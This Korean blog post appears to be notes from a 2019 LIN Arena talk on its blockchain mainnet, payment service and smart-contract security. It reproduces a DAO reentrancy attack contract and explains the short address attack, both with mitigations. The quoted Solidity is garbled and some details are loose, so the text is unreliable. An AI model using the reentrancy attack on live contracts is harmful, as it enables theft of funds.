Databases/BlockChain

LIN Arena in FINTECH - (메인넷빌더)

logthink 2019. 1. 14. 07:43

린아레나(LIN Aerna)

사람 (인) + 블록체인 = 린 아레나

Life net의 줄임말인 LIN의 심볼(사람의 삶이 담긴 블록체인이라는 의미)



린 아레나의 사업

해킹 다음에 블록체인  기술에 관심. 

블록체인 기술 R&D시작한지 2년정도 되었고, 린이라는 메인넷이 나왔고, 리폰스라는 Dapp이 나왔다.



TPS

비트코인 (초당 7건)

이더리움 (초당 25건)

EOS (초당 3,000건)


돈만 주고 받는게 아니라 애플리케이션 서비스를 제공하는 플랫폼역할


이더리움을 이용해 뭔가를 만들어보자.

네이버지식인이 가진 서비스를 보니 이상함을 느꼈다.  

그래서 나왔다. 보상형 Q&A 어플리케이션인 리폰스

보상을 바로 고객에게 돌려주자는 측면 그리고 원저작자의 저작권을 지켜주자라고 시작해서 린 프로젝트가 시작.


문제 발생.

>> 가입하는 회원이 가스비(Gas) 청구 (사용자가 EOS에서 코인사서 가입)

>> 트랜잭션 제한

아예 EOS고 뭐고 우리가 만들어버리자 -> "린 메인넷"


Not important

Consensus

Block Size

algorithm

TPS


Important

 : Dapp을 개발하고 운영하니까 필요한 것들이 보였다.


Sustainability(지속가능성)

>>노드들이 돈을 벌어야 합의도하고 운영 목적이 생김

>>코인 홀더들 입장에서도 코인가치가 있어야 명목이 생김

지속가능성 = 인센티브

Easy

>>이더리움 솔리티티부터 했다. POC를 먼저 시작했다.

>>쉽게 하면 Useful은 따라온다.


Security

>>상당히 재밌고 현재 hole이 굉장히 크다.


Life

>>블록체인 캐서 뭔가하지말고, 일상에서 Event를 열자.


린의 개념도

- GUILD 

길드안에 컴포넌트들 (Bio, Commerce, Auction, SNS, IOT, Finance, Game)이 있다.


린코어에 코어넷이 올라가고, 길드넷에 코어넷이 각 각 구성이 된다.

인터체인 기술로 블록체인과 블록체인간 연결을 엮는다.

- 메인넷의 고객은?  린아레나입장에서는 Dapp개발사 혹은 Dapp개발사의 End Users.


[린아레나 구조]


린아레나 economic 

시뇨리지(마진)


블록체인의 마진은? 99%

마이너가 존재하기 때문이다. 

마이너들아 가져가라 대신에 20%만 리턴해라(린 코인홀더들에게)

물론 초기 발행은 자체적으로함(잠시 중앙화 -> 어쩔수없자나)


린 아레나의 비지니스 영역

블록체인 사업관련해 Dapp부터 시작했지만, 쓸만한 메인넷이 없어서 EOS를 들고와서 커스터마이징했다.


>> 메인넷

○ 개발 진화적인 메인넷


Dapp개발사 및 End User 친화적인 메인넷 개발이 목표, 가용성/무결성/기밀성을 바탕으로 기존 메인넷 한계를 극복. 참고


1) LIN Coral 차별점

-1.1 참여자 진입장벽 제거(FREE)

: DAPP개발사는 암호화폐 보유(스테이킹)없이 자유롭게 메인넷 사용이 가능

: 사용자 또한 DAPP이용에 따른 수수료 지급 필요 없음


-1.2 다양한 개발언어 지원

:가장 많은 개발자들이 사용하는 언어인 파이썬, 자바스크립트, C++를 적용해 DAPP개발이 가능한 환경 제공


-1.3 지속가능성

:지속가능한 거버넌스와 블록체인에서 구현이 어려운 랜덤함수, iden-tity등의 기능을 자체 지원

:SaaS 기반의 스마트 컨트랙트 보안 감사도구와 버그 바운티를 통해 최선의 보안성을 유지


-1.4 인터체인 지원

:인터체인 매커니즘 기능을 내장하여 비트코인, 이더리움, 이오스 등 이기종 블록체인 간 통신을 지원할 (예정). 즉, 사용자는 기존에 가진 암호화폐로 LIN 생태계 진입 가능.

:현재 상태(비트코인 메인넷, 이더리움 메인넷 등)독자 메인넷들이 있는데 언젠가는 연결이 되는 시대가 온다. 그래서 린은 잘나가는 메인넷부터 이어주자. 현재 비트코인 이어주는 프로젝트 80% 진행중. 


○ Wallet




○ Payment


2) 린 서비스(LIN PAY)

 : 단, 2초면 결제가 가능한 암호화폐 간편결제 서비스, LIN PAY


린아레나 이익

1) 카드 수수료보다 저렴하다.

2) 린코인으로 결제시 할인혜택





>>DApp

○ 블록체인 기반 QnA

○ Securites

100%중 대부분의 위협요소는 '사설키'

곡스(Gox)는 4억 8,000만 달러어치 비트코인 도난 등


· 기술적 취약점

- DAO는 스마트 컨트랙트에 버그 발생. 재진입(reentrancy)버그로 인해 9,300만 달러 손실

->해킹원리 : 이더리움,비트코인 사서 스마트컨트랙트에 넣으면 자동으로 내 지갑에 돈이 들어오는데, 여기의 소스코드 취약점이 발생.

=> 블록체인 랭귀지는 굉장히 취약한 상태.(초기시장이라. 블록체인 개발자없어 구현조차 힘듬. 구현하다보니 구멍이 많다.) 

그렇다면 취약점 포인트는? Wallet, Node, id에서 depoly(전략배치)



참고, CVE란? 해커들이 해킹취약점을 발견하고나서, 공개하고 인증받아서 생긴 Code
(제출 -> 후보 -> 목록)


취약점 소개

 * 추가 취약점 Short Address/Parameter Attack(인자값 생략)



비트코인 디포지할때 받는 사람주소가 필요한데, 주소에서 1byte생략하고, amount 뒤에서 또 땡겨온다. 그 다음 비어있는 2byte를 빼오면 정상비트 100비트에서 10000비트로 보내게 되는 취약점이 있다.


>>보안대책

#1 입출금 하기전에 원레 주소의 길이를 확인하는 로직필요


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// 스마트컨트렉트 소스코드 일부
 
function splitDAO(
    uint _proposalID,
    address _newCurator
) noEther onlyTokenholders returns(bool _success){
    ///...
    //Burn DAO Tokens
    Transfer(msg.sender, 0, balances[msg.sender]);
    withdrawRewardFor(msg.sender); // be nice, and get his rewards
    totalSupply -= balances[msg.sender];
    balances[msg.sender] = 0;
    paidOut[msg.sender] = 0;
    return true;
}
// ...
function transfer(address _to, uint256 _value) returns(bool success){ /* ... */ }
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
// ...
function withdrawReardFor(address _account) noEther internal returns(bool _success){
    if ((balanceOf(_account) * rewardAccount.accumlatedInput()) / totalSupply < paidOut[_account])
        throw;
    uint rewards - 
        (balanceOf(_account) * rewardAccount.accumlatedInput()) / totalSupply - paidOut[_account];
    if (!rewardAccount.paidOut(_account, reward))
        throw
    paidOut[_account] += reward;
    return true;
}
// ...
function payOut(address _recipient, unint _amount) returns(bool){
    if(msg.sender != owner || msg.value > 0 || (payOwnerOnly && _recipient != owner))
        throw
    if(_recipient.call.value(_amount())){
        PayOut(_recipient, _amount);
        return true;
    }else{
        return false;
    }
}
cs


#1 Hack 코드에서 payOut함수를 호출(Hack코드에서 dao.balances를 넣는다)

#2 200비트코인을 삽입

#3 payOut함수의 if문 보자

#4 _amount 콜백함수 호출

#5 결국 계속 반복되어 (200비트코인) 500억 털 수 있었다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//Hack 코드 
contract LinHack_dao{
    splitDAO public dao;
    address owner;
 
    function LinHack_dao(splitDAO addr){
        owner = msg.sender;
        dao = addr;
    }
    function getJackpot(){
        owner.send(this.balance);
    }
    function(){
        dao.payOut(dao.balances(this));
    }
}


>>보안대책

#1 리턴 콜백 지옥을 벗어나라.

#2 단일로 호출하자.

#3 amount 인자 값 대조 값을 if조건문위에 두어서 빼줄돈을 막자.

 



>>정보보안

○ 스마트 컨트렉트 보안 감사 도구(스코프)


버퍼오버플로우(BOF) 취약점 탐지 리뷰

 : 메모리 범람 및 중복시 (실행시) 실행코드를 던질 수 있다. 

(게임종료하는 버튼을 변경해 예금하는 로직에 버튼으로 은둔 가능)


*로직설명

탐지 패턴 검사를 한 후 각 Dapp개발 웹 서비스에 던져주어 report해준다.



*차별점

- 자동 분석

-> 사람의 의존도가 있었다(잘하고 못하는 사람)

- 축적 기술(스마트컨트렉트)

- 분석(Low Level)

-> 라이브러리를 구현하고 코드를 모듈화하기 위한 백복으로서 상당히 유용한 함수이다. 하지만, 컨트랙트가 누구든지 자신의 상태에 따라 원하는 대로 할 수 있다.ㅛㅛ

- 0-DAY 탐지

-> 콜백지옥 소스코드 단에서 방지는 취약하다. 그래서 메모리 단에서 탐지한다.(새로운 해킹기법 예방 가능)


린아레나 로드맵





참고

http://www.donongnews.com/news/articleView.html?idxno=9629

http://blockchainnews.co.kr/news/view.php?idx=3343

https://www.blockchainhub.kr/bbs/board.php?bo_table=news&wr_id=20522

https://www.youtube.com/watch?v=TbQhnlLT9uc